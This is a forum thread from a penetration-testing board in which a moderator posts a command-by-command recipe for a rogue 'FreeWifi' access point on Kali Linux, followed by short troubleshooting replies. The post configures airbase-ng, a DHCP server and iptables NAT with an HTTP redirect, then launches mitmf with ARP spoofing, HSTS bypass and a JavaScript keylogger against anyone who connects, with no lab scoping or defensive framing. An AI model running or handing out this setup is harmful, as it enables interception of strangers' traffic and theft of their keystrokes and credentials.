InfoSec Forums InfoSec Forums Wireless Penetration Testing Create fake AP for attacking on Kali Linux

Tagged: 

This topic contains 3 replies, has 2 voices, and was last updated by do son grayhats 3 months, 1 week ago.

  • Author
    Posts
  • #3014
    do son
    do son
    Moderator
    • Topics:202
    • Comments:51
    • Super Member
    • ★★★★

     

    1. Install isc-dhcp-server

    apt-get install isc-dhcp-server

    2. Set monitor mode

    airmon-ng check kill

    airmon-ng start wlan0

    airodump-ng wlan0mon

    3. Configure dhcpd.conf

    leafpad /etc/dhcp/dhcpd.conf

    authoritative;

    default-lease-time 700;

    max-lease-time 8000;

    subnet 192.168.2.0 netmask 255.255.255.0 {

    option routers 192.168.2.1;

    option subnet-mask 255.255.255.0;

    option domain-name “FreeWifi”;

    option domain-name-servers 61.XXX.XXX.1,61.XXX.XXX.1,192.168.1.1;

    range 192.168.2.100 192.168.2.110;

    }

    4. Create fake AP using airbase-ng

    airbase-ng -e FreeWifi -c 6 wlan0mon

    5. Configure at0 interface

    ifconfig at0 up

    ifconfig at0 192.168.2.1 netmask 255.255.255.0

    ifconfig at0 mtu 1400

    route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

    iptables –flush

    iptables –table nat –flush

    iptables –delete-chain

    iptables –table nat –delete-chain

    echo 1 > /proc/sys/net/ipv4/ip_forward

    iptables -t nat -A PREROUTING -p udp -j DNAT –to 192.168.1.1 

    iptables -P FORWARD ACCEPT

    iptables –append FORWARD –in-interface at0 -j ACCEPT

    iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE

    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000

    6. Start DHCP Server

    dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

    /etc/init.d/isc-dhcp-server start

    7. Run mitmf

    mitmf -i at0 –spoof –arp –gateway 192.168.2.1 –jskeylogger –hsts

    No system is truly secure!

  • #3033

    Eth3r
    • Topics:
    • Comments:
    • Newbie

    Hello, thank you for this tutorial as well as for this forum which I think will please many people, I just try to implement what you explained in this tutorial, everything goes well, mitmf starts correctly but when I connects me to my new AP mitmf registered the following message:

    127.0.0.1 [DNS] Could not proxy request: [Errno 101] Network is unreachable

  • #3034

    Eth3r
    • Topics:
    • Comments:
    • Newbie

    sorry, I disconnects internet ;-(

    • #3046
      do son
      grayhats
      • Topics:
      • Comments:
      • Newbie

      try to change dns port to 54 value on mitmf.conf file.

You must be logged in to reply to this topic.